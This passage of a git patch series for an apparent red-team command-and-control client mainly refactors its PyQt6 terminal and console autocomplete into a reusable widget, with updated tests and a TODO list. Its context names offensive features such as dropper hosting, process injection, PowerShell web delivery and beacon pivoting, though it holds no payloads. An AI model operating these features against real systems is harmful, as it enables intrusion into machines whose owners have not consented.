blocked | 15 | +| partial | 13 | | untested | 2 | | planned | 2 | @@ -32,7 +32,7 @@ _Generated by `scripts/generate-test-state.py`._ |---|---:|---:|---:|---:|---:|---:|---:| | Artifacts | 4 | 0 | 0 | 1 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | -| C2Client | 11 | 0 | 0 | 9 | 0 | 1 | 21 | +| C2Client | 11 | 0 | 1 | 8 | 0 | 1 | 21 | | CommonCommands | 7 | 0 | 0 | 0 | 0 | 0 | 7 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index b7366ec..2115cfa 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -752,3 +752,11 @@ results: tester: "max" evidence: "Manual terminal dropper workflow validated: help/config/arch selection and generation/hosting flow work as expected from the Terminal tab." notes: "Dropper module limitations remain outside the terminal workflow: PeInjectorSyscall injection fails without -p self, likely because the default target PID is not valid; PowershellWebDelivery does not currently work on the Windows 11 lab; other dropper modules were not tested." + + - id: C2CLIENT-TERMINAL-BASE-001 + status: blocked + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation found the Terminal autocomplete popup is not reliable in the general case, especially after moving the UI between screens. Autocomplete data and insertion can work, but the dropdown is not consistently visible or anchored under the input field." + notes: "Keep terminal command execution and host workflow results separate. This blocks only the generic Terminal tab/autocomplete UX. TODO added to replace QCompleter with a custom dropdown integrated in the Terminal layout." From 4b4e144f4e5bb772fb1aa79b6de71366f9dc7481 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 09:15:30 +0200 Subject: [PATCH 68/82] autocomplete.py --- C2Client/C2Client/TerminalPanel.py | 191 ++-------- C2Client/C2Client/autocomplete.py | 352 ++++++++++++++++++ C2Client/TODO.md | 2 +- .../tests/test_terminal_panel_dropper_arch.py | 55 +-- 4 files changed, 416 insertions(+), 184 deletions(-) create mode 100644 C2Client/C2Client/autocomplete.py diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index 19bb1d1..2e02772 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -6,10 +6,9 @@ import subprocess from datetime import datetime from typing import Any -from PyQt6.QtCore import QPoint, Qt, QEvent, QThread, QTimer, pyqtSignal, QObject -from PyQt6.QtGui import QGuiApplication, QStandardItem, QStandardItemModel, QShortcut, QTextCursor, QTextDocument +from PyQt6.QtCore import Qt, QEvent, QThread, pyqtSignal, QObject +from PyQt6.QtGui import QShortcut, QTextCursor, QTextDocument from PyQt6.QtWidgets import ( - QCompleter, QHBoxLayout, QLabel, QLineEdit, @@ -28,6 +27,7 @@ append_console_spacing, move_editor_to_end, ) +from .autocomplete import CompletionInput, completion_options from .env import env_path from .grpc_status import is_response_ok, terminal_response_text from .panel_style import apply_dark_panel_style @@ -1548,184 +1548,51 @@ def run(self): return -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() - +class CommandEditor(CompletionInput): def __init__(self, parent=None, grpcClient=None): - super().__init__(parent) - + super().__init__( + parent, + completion_data=build_terminal_completer_data(grpcClient), + refresh_on_focus=True, + ) self.grpcClient = grpcClient + self._completionProvider = self.loadCompletionData self.cmdHistory = [] self.idx = 0 - self.completionData = [] - if(os.path.isfile(HistoryFileName)): - cmdHistoryFile = open(HistoryFileName) - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() + if os.path.isfile(HistoryFileName): + with open(HistoryFileName, encoding="utf-8") as cmdHistoryFile: + self.cmdHistory = cmdHistoryFile.readlines() + self.idx = len(self.cmdHistory) - 1 - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) + QShortcut(Qt.Key.Key_Up, self.lineEdit, self.historyUp) + QShortcut(Qt.Key.Key_Down, self.lineEdit, self.historyDown) - self.completionData = build_terminal_completer_data(self.grpcClient) - self.codeCompleter = CodeCompleter(self.completionData, self) - # needed to clear the completer after activation - self.codeCompleter.activated.connect(self.onActivated) - self.setCompleter(self.codeCompleter) - self.tabPressed.connect(self.nextCompletion) - self.textEdited.connect(self.scheduleCompletionPopup) + def loadCompletionData(self): + return build_terminal_completer_data(self.grpcClient) def refreshCompleter(self, force=False): - completionData = build_terminal_completer_data(self.grpcClient) - if force or completionData != self.completionData: - self.completionData = completionData - self.codeCompleter.updateData(completionData) - - def completionPrefix(self): - return self.text()[:self.cursorPosition()] + self.refreshCompletions(force) def completionLookupPrefix(self): - prefix = self.completionPrefix() - stripped = prefix.strip() - if stripped and stripped == prefix and any(entry[0] == stripped and entry[1] for entry in self.completionData): - return prefix + " " - return prefix - - def openCompletionPopup(self): - popup = self.codeCompleter.popup() - width = max(self.width(), popup.sizeHintForColumn(0) + popup.verticalScrollBar().sizeHint().width() + 24) - popup.setMinimumWidth(width) - rect = self.rect() - rect.setWidth(width) - self.codeCompleter.complete(rect) - - visible_rows = min(max(self.codeCompleter.completionCount(), 1), self.codeCompleter.maxVisibleItems()) - row_height = max(popup.sizeHintForRow(0), popup.fontMetrics().height() + 6) - height = row_height * visible_rows + 2 * popup.frameWidth() + 4 - popup.resize(width, height) - popup.move(self.completionPopupPosition(popup)) - popup.show() - popup.raise_() - - def completionPopupPosition(self, popup): - below = self.mapToGlobal(QPoint(0, self.height())) - screen = QGuiApplication.screenAt(below) - if screen is None and self.window() and self.window().windowHandle(): - screen = self.window().windowHandle().screen() - if screen is None: - screen = QGuiApplication.primaryScreen() - if screen is None: - return below - - geometry = screen.availableGeometry() - x = min(max(below.x(), geometry.left()), max(geometry.left(), geometry.right() - popup.width() + 1)) - y = below.y() - if y + popup.height() > geometry.bottom() + 1: - above = self.mapToGlobal(QPoint(0, 0)).y() - popup.height() - if above >= geometry.top(): - y = above - else: - y = max(geometry.top(), geometry.bottom() - popup.height() + 1) - return QPoint(x, y) - - def showCompletionPopup(self, _text=None, allowEmpty=False): - prefix = self.completionLookupPrefix() - popup = self.codeCompleter.popup() - if not prefix.strip() and not allowEmpty: - popup.hide() - return False - - self.codeCompleter.setCompletionPrefix(prefix) - if self.codeCompleter.completionCount() <= 0: - popup.hide() - return False - - if self.codeCompleter.currentRow() < 0: - self.codeCompleter.setCurrentRow(0) - self.openCompletionPopup() - return True - - def scheduleCompletionPopup(self, _text=None): - QTimer.singleShot(0, self.showCompletionPopup) - - def nextCompletion(self): - popup = self.codeCompleter.popup() - if not popup.isVisible(): - self.showCompletionPopup(allowEmpty=True) - return - - index = self.codeCompleter.currentIndex() - popup.setCurrentIndex(index) - start = self.codeCompleter.currentRow() - if not self.codeCompleter.setCurrentRow(start + 1): - self.codeCompleter.setCurrentRow(0) - - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) + return self.completionPrefix() def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) + if self.idx < len(self.cmdHistory) and self.idx >= 0: + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] + self.idx = max(self.idx - 1, 0) self.setText(cmd.strip()) def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] + if self.idx < len(self.cmdHistory) and self.idx >= 0: + self.idx = min(self.idx + 1, len(self.cmdHistory) - 1) + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] self.setText(cmd.strip()) def setCmdHistory(self): - cmdHistoryFile = open(HistoryFileName) - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() + with open(HistoryFileName, encoding="utf-8") as cmdHistoryFile: + self.cmdHistory = cmdHistoryFile.readlines() + self.idx = len(self.cmdHistory) - 1 def clearLine(self): self.clear() - - def onActivated(self): - QTimer.singleShot(0, self.clear) - - -class CodeCompleter(QCompleter): - ConcatenationRole = Qt.ItemDataRole.UserRole + 1 - MatchRole = Qt.ItemDataRole.UserRole + 2 - - def __init__(self, data, parent=None): - super().__init__(parent) - self.setCaseSensitivity(Qt.CaseSensitivity.CaseInsensitive) - self.setCompletionMode(QCompleter.CompletionMode.PopupCompletion) - self.setMaxVisibleItems(8) - self.setCompletionRole(CodeCompleter.MatchRole) - self.createModel(data) - - def updateData(self, data): - self.createModel(data) - - def splitPath(self, path): - return path.split(' ') - - def pathFromIndex(self, ix): - return ix.data(CodeCompleter.ConcatenationRole) - - def createModel(self, data): - def addItems(parent, elements, t=""): - for entry in elements: - text = _completion_text(entry) - children = _completion_children(entry) - insert_text = _completion_insert_text(entry) - item = QStandardItem(text) - item.setData(insert_text, CodeCompleter.MatchRole) - data = t + " " + insert_text if t else insert_text - item.setData(data, CodeCompleter.ConcatenationRole) - parent.appendRow(item) - if children: - addItems(item, children, data) - model = QStandardItemModel(self) - addItems(model, data) - self.setModel(model) diff --git a/C2Client/C2Client/autocomplete.py b/C2Client/C2Client/autocomplete.py new file mode 100644 index 0000000..5a33b36 --- /dev/null +++ b/C2Client/C2Client/autocomplete.py @@ -0,0 +1,352 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Callable, Iterable + +from PyQt6.QtCore import QEvent, Qt, QTimer, pyqtSignal +from PyQt6.QtWidgets import QAbstractItemView, QLineEdit, QListWidget, QListWidgetItem, QVBoxLayout, QWidget + +from .console_style import CONSOLE_COLORS, console_font + + +@dataclass(frozen=True) +class CompletionOption: + label: str + insert_text: str + full_text: str + has_children: bool = False + + +def completion_entry_text(entry: tuple) -> str: + return str(entry[0]).strip() if entry else "" + + +def completion_entry_children(entry: tuple) -> list[tuple]: + if len(entry) < 2 or entry[1] is None: + return [] + return entry[1] + + +def completion_entry_insert_text(entry: tuple) -> str: + if len(entry) >= 3: + insert_text = str(entry[2]).strip() + if insert_text: + return insert_text + return completion_entry_text(entry) + + +def _find_entry(entries: Iterable[tuple], token: str) -> tuple | None: + normalized_token = token.strip().lower() + if not normalized_token: + return None + for entry in entries: + label = completion_entry_text(entry).lower() + insert_text = completion_entry_insert_text(entry).lower() + if normalized_token in {label, insert_text}: + return entry + return None + + +def _entry_matches(entry: tuple, token: str) -> bool: + normalized_token = token.strip().lower() + if not normalized_token: + return True + label = completion_entry_text(entry).lower() + insert_text = completion_entry_insert_text(entry).lower() + return ( + label.startswith(normalized_token) + or insert_text.startswith(normalized_token) + or ("(" in label and normalized_token in label) + ) + + +def _options_for_level(entries: Iterable[tuple], prefix_parts: list[str], token: str = "") -> list[CompletionOption]: + options: list[CompletionOption] = [] + seen: set[str] = set() + for entry in entries: + if not _entry_matches(entry, token): + continue + label = completion_entry_text(entry) + insert_text = completion_entry_insert_text(entry) + if not label or not insert_text: + continue + full_parts = [*prefix_parts, insert_text] + full_text = " ".join(full_parts) + if full_text in seen: + continue + seen.add(full_text) + options.append( + CompletionOption( + label=label, + insert_text=insert_text, + full_text=full_text, + has_children=bool(completion_entry_children(entry)), + ) + ) + return options + + +def completion_options(completion_data: list[tuple], command_text: str, cursor_position: int | None = None) -> list[CompletionOption]: + text = command_text if cursor_position is None else command_text[:cursor_position] + if text is None: + text = "" + + trailing_space = text.endswith(" ") + tokens = text.split(" ") + if trailing_space: + path_tokens = [token for token in tokens[:-1] if token] + current_token = "" + else: + path_tokens = [token for token in tokens[:-1] if token] + current_token = tokens[-1] if tokens else "" + + level = completion_data + prefix_parts: list[str] = [] + for token in path_tokens: + entry = _find_entry(level, token) + if entry is None: + return [] + prefix_parts.append(completion_entry_insert_text(entry)) + level = completion_entry_children(entry) + + if current_token: + exact_entry = _find_entry(level, current_token) + if exact_entry is not None: + children = completion_entry_children(exact_entry) + if children: + return _options_for_level(children, [*prefix_parts, completion_entry_insert_text(exact_entry)]) + return [] + + return _options_for_level(level, prefix_parts, current_token) + + +class CompletionInput(QWidget): + returnPressed = pyqtSignal() + tabPressed = pyqtSignal() + completionAccepted = pyqtSignal(str) + + def __init__( + self, + parent=None, + *, + completion_data: list[tuple] | None = None, + completion_provider: Callable[[], list[tuple]] | None = None, + refresh_on_focus: bool = False, + max_visible_items: int = 8, + ): + super().__init__(parent) + self.completionData = list(completion_data or []) + self._completionProvider = completion_provider + self._refreshOnFocus = refresh_on_focus + self._maxVisibleItems = max(1, max_visible_items) + self._currentOptions: list[CompletionOption] = [] + + self.lineEdit = QLineEdit(self) + self.lineEdit.setFont(console_font()) + self.lineEdit.installEventFilter(self) + self.lineEdit.textEdited.connect(self.scheduleCompletionPopup) + + self.dropdown = QListWidget(self) + self.dropdown.setObjectName("completionDropdown") + self.dropdown.setFont(console_font()) + self.dropdown.setFocusPolicy(Qt.FocusPolicy.NoFocus) + self.dropdown.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.dropdown.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff) + self.dropdown.setUniformItemSizes(True) + self.dropdown.itemClicked.connect(self.acceptClickedCompletion) + self.dropdown.hide() + + layout = QVBoxLayout(self) + layout.setContentsMargins(0, 0, 0, 0) + layout.setSpacing(2) + layout.addWidget(self.lineEdit) + layout.addWidget(self.dropdown) + self.setFocusProxy(self.lineEdit) + self.applyStyle() + + def applyStyle(self) -> None: + self.setStyleSheet( + f""" + QLineEdit {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + padding: 4px 6px; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QListWidget#completionDropdown {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + outline: 0; + padding: 2px; + selection-background-color: {CONSOLE_COLORS["selection"]}; + }} + QListWidget#completionDropdown::item {{ + padding: 4px 6px; + }} + QListWidget#completionDropdown::item:selected {{ + background-color: {CONSOLE_COLORS["selection"]}; + color: {CONSOLE_COLORS["header"]}; + }} + """ + ) + + def refreshCompletions(self, force: bool = False) -> None: + if self._completionProvider is None: + return + completion_data = self._completionProvider() + if force or completion_data != self.completionData: + self.completionData = completion_data + self.hideCompletionPopup() + + def eventFilter(self, watched, event): + if watched is self.lineEdit: + if event.type() == QEvent.Type.FocusIn and self._refreshOnFocus: + self.refreshCompletions() + if event.type() == QEvent.Type.KeyPress: + key = event.key() + if key == Qt.Key.Key_Backtab or ( + key == Qt.Key.Key_Tab + and event.modifiers() & Qt.KeyboardModifier.ShiftModifier + ): + self.tabPressed.emit() + self.previousCompletion() + return True + if key == Qt.Key.Key_Tab: + self.tabPressed.emit() + self.nextCompletion() + return True + if key in (Qt.Key.Key_Return, Qt.Key.Key_Enter): + if self.dropdown.isVisible() and self.currentCompletion() is not None: + self.acceptCurrentCompletion() + else: + self.returnPressed.emit() + return True + if key == Qt.Key.Key_Escape and self.dropdown.isVisible(): + self.hideCompletionPopup() + return True + if key == Qt.Key.Key_Down and self.dropdown.isVisible(): + self.moveSelection(1) + return True + if key == Qt.Key.Key_Up and self.dropdown.isVisible(): + self.moveSelection(-1) + return True + return super().eventFilter(watched, event) + + def scheduleCompletionPopup(self, _text: str | None = None) -> None: + QTimer.singleShot(0, self.showCompletionPopup) + + def completionPrefix(self) -> str: + return self.text()[: self.cursorPosition()] + + def showCompletionPopup(self, _text: str | None = None, allowEmpty: bool = False) -> bool: + prefix = self.completionPrefix() + if not prefix.strip() and not allowEmpty: + self.hideCompletionPopup() + return False + + self._currentOptions = completion_options(self.completionData, self.text(), self.cursorPosition()) + if not self._currentOptions: + self.hideCompletionPopup() + return False + + self.dropdown.clear() + for index, option in enumerate(self._currentOptions): + item = QListWidgetItem(option.label) + item.setData(Qt.ItemDataRole.UserRole, index) + item.setToolTip(option.full_text) + self.dropdown.addItem(item) + + self.dropdown.setCurrentRow(0) + self.updateDropdownHeight() + self.dropdown.show() + return True + + def hideCompletionPopup(self) -> None: + self.dropdown.hide() + self.dropdown.clear() + self._currentOptions = [] + + def updateDropdownHeight(self) -> None: + visible_rows = min(max(len(self._currentOptions), 1), self._maxVisibleItems) + row_height = max(self.dropdown.sizeHintForRow(0), self.dropdown.fontMetrics().height() + 8) + frame = 2 * self.dropdown.frameWidth() + self.dropdown.setMaximumHeight((row_height * visible_rows) + frame + 6) + + def moveSelection(self, step: int) -> None: + if not self._currentOptions: + return + current = self.dropdown.currentRow() + if current < 0: + current = 0 + next_row = (current + step) % len(self._currentOptions) + self.dropdown.setCurrentRow(next_row) + + def nextCompletion(self) -> None: + if not self.dropdown.isVisible(): + self.showCompletionPopup(allowEmpty=True) + return + self.moveSelection(1) + + def previousCompletion(self) -> None: + if not self.dropdown.isVisible(): + if self.showCompletionPopup(allowEmpty=True): + self.moveSelection(-1) + return + self.moveSelection(-1) + + def currentCompletion(self) -> CompletionOption | None: + row = self.dropdown.currentRow() + if row < 0 or row >= len(self._currentOptions): + return None + return self._currentOptions[row] + + def acceptClickedCompletion(self, item: QListWidgetItem) -> None: + index = item.data(Qt.ItemDataRole.UserRole) + if isinstance(index, int) and 0 <= index < len(self._currentOptions): + self.acceptCompletion(self._currentOptions[index]) + + def acceptCurrentCompletion(self) -> None: + option = self.currentCompletion() + if option is not None: + self.acceptCompletion(option) + + def acceptCompletion(self, option: CompletionOption) -> None: + self.lineEdit.setText(option.full_text) + self.lineEdit.setCursorPosition(len(option.full_text)) + self.hideCompletionPopup() + self.completionAccepted.emit(option.full_text) + + def text(self) -> str: + return self.lineEdit.text() + + def displayText(self) -> str: + return self.lineEdit.displayText() + + def setText(self, text: str) -> None: + self.lineEdit.setText(text) + + def clear(self) -> None: + self.lineEdit.clear() + self.hideCompletionPopup() + + def setPlaceholderText(self, text: str) -> None: + self.lineEdit.setPlaceholderText(text) + + def placeholderText(self) -> str: + return self.lineEdit.placeholderText() + + def setCursorPosition(self, position: int) -> None: + self.lineEdit.setCursorPosition(position) + + def cursorPosition(self) -> int: + return self.lineEdit.cursorPosition() + + def setMinimumHeight(self, height: int) -> None: + self.lineEdit.setMinimumHeight(height) + super().setMinimumHeight(height) + + def setFocus(self, reason: Qt.FocusReason = Qt.FocusReason.OtherFocusReason) -> None: + self.lineEdit.setFocus(reason) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 67a1e70..f1ce682 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -22,7 +22,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Reduire la taille des artefacts `screenShot` | M | Moyen | Test reel: `desktop.bmp` genere environ 42 MB. Etudier PNG/JPEG cote module ou conversion TeamServer, option format/qualite, conservation du hash/sidecar et affichage clair dans `Artifacts`. | -| 17 | [ ] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | Le popup `QCompleter` est instable en cas multi-ecran/deplacement de fenetre: les donnees existent mais la liste n'est pas visible de facon fiable. Remplacer par une liste custom integree sous la barre Terminal, ancree dans le layout, avec navigation clavier, selection par Tab/Enter, et donnees statiques disponibles meme sans beacon. | +| 17 | [ ] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | En cours. Composant reusable `CompletionInput` cree et Terminal migre vers une liste integree au layout, sans popup global. Reste a reprendre le meme composant dans les consoles beacon, hooks/scripts, assistant et autres champs avec autocomplete. | | 18 | [ ] | Auditer `libSocks5` | M | Fort | Revue protocolaire et qualite d'implementation: handshake, `ATYP` supportes, erreurs SOCKS explicites, timeouts, fermeture sockets, concurrence, limites buffers, logs bruyants, tests IPv4/hostname/stress et risques de deadlock/EOF silencieux. | | 19 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 20 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 42fb845..3f646c1 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -1,5 +1,6 @@ from types import SimpleNamespace +from PyQt6.QtCore import Qt from PyQt6.QtWidgets import QWidget import C2Client.grpcClient as grpc_client_module @@ -315,37 +316,48 @@ def test_terminal_completer_uses_artifacts_listeners_sessions_and_dropper_module assert ("beacon-active", []) in socks_bind_children -def test_terminal_host_completer_displays_artifact_label_but_inserts_safe_token(qtbot): +def test_terminal_host_completer_displays_artifact_label_but_inserts_safe_token(): completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) - completer = terminal_panel.CodeCompleter(completions) - qtbot.addWidget(completer.popup()) + options = terminal_panel.completion_options(completions, "host") + hash_options = terminal_panel.completion_options(completions, "host artifact-123") - host_item = next( - completer.model().item(row) - for row in range(completer.model().rowCount()) - if completer.model().item(row).text() == terminal_panel.HostInstruction - ) - artifact_item = host_item.child(0) + assert options[0].label == "dropper.exe (artifact-123)" + assert options[0].insert_text == "dropper.exe(artifact-123)" + assert options[0].full_text == "host dropper.exe(artifact-123)" + assert hash_options[0].label == "dropper.exe (artifact-123)" + + +def test_terminal_completer_does_not_offer_exact_leaf_commands(): + completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) - assert artifact_item.text() == "dropper.exe (artifact-123)" - assert artifact_item.data(terminal_panel.CodeCompleter.MatchRole) == "dropper.exe(artifact-123)" - assert artifact_item.data(terminal_panel.CodeCompleter.ConcatenationRole) == "host dropper.exe(artifact-123)" + assert terminal_panel.completion_options(completions, "socks start") == [] + assert terminal_panel.completion_options(completions, "reloadModules") == [] def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) qtbot.addWidget(editor) + editor.show() + editor.setFocus() editor.nextCompletion() - assert editor.codeCompleter.popup().isVisible() - assert editor.codeCompleter.currentRow() == 0 + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == 0 editor.nextCompletion() - assert editor.codeCompleter.currentRow() == 1 + assert editor.dropdown.currentRow() == 1 editor.nextCompletion() - assert editor.codeCompleter.currentRow() == 2 + assert editor.dropdown.currentRow() == 2 + + editor.previousCompletion() + assert editor.dropdown.currentRow() == 1 + + editor.hideCompletionPopup() + qtbot.keyClick(editor.lineEdit, Qt.Key.Key_Backtab) + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == editor.dropdown.count() - 1 def test_terminal_command_editor_opens_completer_while_typing(tmp_path, qtbot, monkeypatch): @@ -355,16 +367,17 @@ def test_terminal_command_editor_opens_completer_while_typing(tmp_path, qtbot, m editor.show() editor.setFocus() - qtbot.keyClicks(editor, "h") + qtbot.keyClicks(editor.lineEdit, "h") qtbot.wait(10) assert editor.completionPrefix() == "h" - assert editor.codeCompleter.popup().isVisible() - assert editor.codeCompleter.currentRow() == 0 + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == 0 + assert editor.dropdown.item(0).text() == "help" editor.setText("host") editor.setCursorPosition(4) assert editor.showCompletionPopup() assert editor.completionPrefix() == "host" - assert editor.codeCompleter.completionPrefix() == "host " - assert editor.codeCompleter.currentCompletion() == "host dropper.exe(artifact-123)" + assert editor.dropdown.item(0).text() == "dropper.exe (artifact-123)" + assert editor.currentCompletion().full_text == "host dropper.exe(artifact-123)" From 394006559d3eb87526f24f30974f83396c483b9a Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 09:24:53 +0200 Subject: [PATCH 69/82] autocomplete.py --- C2Client/C2Client/AssistantPanel.py | 43 ++++---- C2Client/C2Client/ConsolePanel.py | 154 ++++++++++++--------------- C2Client/C2Client/ScriptPanel.py | 18 ++-- C2Client/C2Client/autocomplete.py | 5 +- C2Client/TODO.md | 2 +- C2Client/tests/test_console_panel.py | 36 ++++--- 6 files changed, 124 insertions(+), 134 deletions(-) diff --git a/C2Client/C2Client/AssistantPanel.py b/C2Client/C2Client/AssistantPanel.py index c4bedd1..951ee4e 100644 --- a/C2Client/C2Client/AssistantPanel.py +++ b/C2Client/C2Client/AssistantPanel.py @@ -5,7 +5,6 @@ from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal from PyQt6.QtGui import QShortcut from PyQt6.QtWidgets import ( - QLineEdit, QTextBrowser, QVBoxLayout, QWidget, @@ -20,9 +19,16 @@ append_console_spacing, move_editor_to_end, ) +from .autocomplete import CompletionInput from .env import env_int DEFAULT_PENDING_TOOL_TIMEOUT_MS = 2 * 60 * 1000 +ASSISTANT_COMPLETIONS = [ + ("/help", []), + ("/status", []), + ("/cancel", []), + ("/reset", []), +] ASSISTANT_HEADER_ROLES = { "system": ("[system]", "system", False), @@ -67,6 +73,7 @@ def __init__(self, parent, grpcClient): self.layout.addWidget(self.editorOutput, 8) self.commandEditor = CommandEditor() + self.commandEditor.setPlaceholderText("Ask assistant or /help") self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) @@ -442,40 +449,32 @@ def setCursorEditorAtEnd(self): move_editor_to_end(self.editorOutput) -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() +class CommandEditor(CompletionInput): cmdHistory = [] idx = 0 def __init__(self, parent=None): - super().__init__(parent) - - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) + super().__init__(parent, completion_data=ASSISTANT_COMPLETIONS) - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) + QShortcut(Qt.Key.Key_Up, self.lineEdit, self.historyUp) + QShortcut(Qt.Key.Key_Down, self.lineEdit, self.historyDown) def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) + if self.idx < len(self.cmdHistory) and self.idx >= 0: + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] + self.idx = max(self.idx - 1, 0) self.setText(cmd.strip()) def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] + if self.idx < len(self.cmdHistory) and self.idx >= 0: + self.idx = min(self.idx + 1, len(self.cmdHistory) - 1) + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] self.setText(cmd.strip()) def setCmdHistory(self): - cmdHistoryFile = open('.termHistory') - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() + with open(".termHistory", encoding="utf-8") as cmdHistoryFile: + self.cmdHistory = cmdHistoryFile.readlines() + self.idx = len(self.cmdHistory) - 1 def clearLine(self): self.clear() diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 6c7622c..e53d24f 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -7,8 +7,8 @@ from datetime import datetime from typing import Any -from PyQt6.QtCore import QObject, Qt, QEvent, QThread, QTimer, pyqtSignal -from PyQt6.QtGui import QStandardItem, QStandardItemModel, QTextCursor, QTextDocument, QShortcut +from PyQt6.QtCore import QObject, Qt, QEvent, QThread, pyqtSignal +from PyQt6.QtGui import QTextCursor, QTextDocument, QShortcut from PyQt6.QtWidgets import ( QWidget, QTabBar, @@ -17,7 +17,6 @@ QHBoxLayout, QTextEdit, QLineEdit, - QCompleter, QCheckBox, QLabel, QPushButton, @@ -38,6 +37,7 @@ console_status_html, move_editor_to_end, ) +from .autocomplete import CompletionInput, CompletionOption, completion_options from .env import env_path from .grpc_status import is_response_ok, response_message @@ -86,6 +86,42 @@ DOTNET_LOAD_NAME_PLACEHOLDER = "" +def normalize_console_completion_text(command_text: str) -> tuple[str, dict[str, str]]: + parts = str(command_text or "").split(" ") + placeholder_values: dict[str, str] = {} + if parts and parts[0] == "inject": + for index, part in enumerate(parts[:-1]): + if part == "--pid" and parts[index + 1]: + placeholder_values[PID_COMPLETION_PLACEHOLDER] = parts[index + 1] + parts[index + 1] = PID_COMPLETION_PLACEHOLDER + break + if len(parts) >= 3 and parts[0] == "dotnetExec" and parts[1] == "load" and parts[2]: + placeholder_values[DOTNET_LOAD_NAME_PLACEHOLDER] = parts[2] + parts[2] = DOTNET_LOAD_NAME_PLACEHOLDER + return " ".join(parts), placeholder_values + + +def restore_console_completion_text(command_text: str, placeholder_values: dict[str, str]) -> str: + text = str(command_text or "") + for placeholder, replacement in placeholder_values.items(): + text = text.replace(placeholder, replacement) + return text + + +def console_completion_options(completion_data: list[tuple], command_text: str) -> list[CompletionOption]: + normalized_text, placeholder_values = normalize_console_completion_text(command_text) + options = completion_options(completion_data, normalized_text) + return [ + CompletionOption( + label=option.label, + insert_text=option.insert_text, + full_text=restore_console_completion_text(option.full_text, placeholder_values), + 